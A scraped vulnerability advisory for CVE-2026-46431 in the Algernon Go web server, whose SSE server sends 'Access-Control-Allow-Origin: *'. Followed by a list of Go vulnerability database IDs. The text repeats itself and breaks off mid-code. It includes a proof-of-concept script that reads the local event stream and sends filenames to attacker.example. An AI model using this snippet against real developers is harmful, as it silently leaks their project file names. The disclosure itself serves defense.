CVE-2026-46431

Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.

Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.

Summary

The SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream.

This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.

Details

Root cause — hard-coded "*" passed as the CORS allowed-origin

// engine/config.go  (1.17.6, MustServe)
recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)

The literal "*" is the second positional argument. The vendored recwatch implementation reflects it verbatim into the response header:

// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
    return func(w http.ResponseWriter, _ *http.Request) {
        w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
        w.Header().Set("Cache-Control", "no-cache")
        w.Header().Set("Connection", "keep-alive")
        w.Header().Set("Access-Control-Allow-Origin", allowed)
        ...
    }
}

There is no decision based on the request's Origin header, and no allow-list mechanism — every caller is told their origin is approved.

Why the wildcard is exploitable

EventSource opens a GET request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of Access-Control-Allow-Origin. When the server returns *, the browser permits the cross-origin script to read every message event.

So a developer running algernon -a on their workstation, with the SSE listener at http://127.0.0.1:5553/sse (Windows) or http://0.0.0.0:5553/sse (Linux/macOS), only needs to visit any third-party origin in another tab for the following to drain their stream silently:

<!doctype html>
<script>
  const s = new EventSource('http://127.0.0.1:5553/sse');
  s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));
</script>

The exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which UI:R in the CVSS vector reflects.

PoC (against 1.17.6)

# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553
# 2. Attacker lures the developer to https://news.example:
#    The page contains the snippet above.
# 3. EventSource opens, browser sends the request; algernon responds with
#    Access-Control-Allow-Origin: *, browser passes message events to the
#    cross-origin script; script ships filenames to attacker.example.

CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the Access-Control-Allow-Origin: * value in the response, not the body.

Impact

• Confidentiality: medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.
• Integrity: none.
• Availability: none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).

Suggestions to fix

Primary fix — echo a same-origin allow-list instead of *.

// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents
origin :=…

Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.

Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.

Summary

The SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream.

This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.

Details

Root cause — hard-coded "*" passed as the CORS allowed-origin

// engine/config.go  (1.17.6, MustServe)
recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)

The literal "*" is the second positional argument. The vendored recwatch implementation reflects it verbatim into the response header:

// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
    return func(w http.ResponseWriter, _ *http.Request) {
        w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
        w.Header().Set("Cache-Control", "no-cache")
        w.Header().Set("Connection", "keep-alive")
        w.Header().Set("Access-Control-Allow-Origin", allowed)
        ...
    }
}

There is no decision based on the request's Origin header, and no allow-list mechanism — every caller is told their origin is approved.

Why the wildcard is exploitable

EventSource opens a GET request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of Access-Control-Allow-Origin. When the server returns *, the browser permits the cross-origin script to read every message event.

So a developer running algernon -a on their workstation, with the SSE listener at http://127.0.0.1:5553/sse (Windows) or http://0.0.0.0:5553/sse (Linux/macOS), only needs to visit any third-party origin in another tab for the following to drain their stream silently:

<!doctype html>
<script>
  const s = new EventSource('http://127.0.0.1:5553/sse');
  s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));
</script>

The exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which UI:R in the CVSS vector reflects.

PoC (against 1.17.6)

# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553
# 2. Attacker lures the developer to https://news.example:
#    The page contains the snippet above.
# 3. EventSource opens, browser sends the request; algernon responds with
#    Access-Control-Allow-Origin: *, browser passes message events to the
#    cross-origin script; script ships filenames to attacker.example.

CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the Access-Control-Allow-Origin: * value in the response, not the body.

Impact

• Confidentiality: medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.
• Integrity: none.
• Availability: none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).

Suggestions to fix

Primary fix — echo a same-origin allow-list instead of *.

// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents
origin :=…

Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: * in github.com/xyproto/algernon

This update for govulncheck-vulndb fixes the following issues:

• Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

• GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
• GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
• GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
• GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
• GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
• GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
• GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
• GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
• GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
• GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
• GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
• GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
• GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
• GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
• GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
• GO-2026-5933 GHSA-3g4q-2f67-2gvh
• GO-2026-5934 GHSA-59qp-cfj3-rp64
• GO-2026-5935 GHSA-7856-g3gv-9wq8
• GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
• GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
• GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
• GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
• GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
• GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
• GO-2026-5942 CVE-2026-46600
• GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
• GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
• GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
• GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
• GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
• GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
• GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
• GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
• GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
• GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
• GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
• GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
• GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
• GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
• GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
• GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
• GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
• GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
• GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
• GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
• GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
• GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
• GO-2026-5969 GHSA-g936-7jqj-mwv8
• GO-2026-5970 CVE-2026-56852
• GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
• GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
• GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
• GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
• GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
• GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
• GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
• GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
• GO-2026-5981 GHSA-mqxv-9rm6-w8qc
• GO-2026-5982 GHSA-pqg7-v6wh-3pfp
• GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
• GO-2026-5985 GHSA-7rx3-5wx3-5v76
• GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
• GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
• GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
• GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
• GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
• GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
• GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
• GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
• GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
• GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
• GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
• GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
• GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
• GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
• GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
• GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…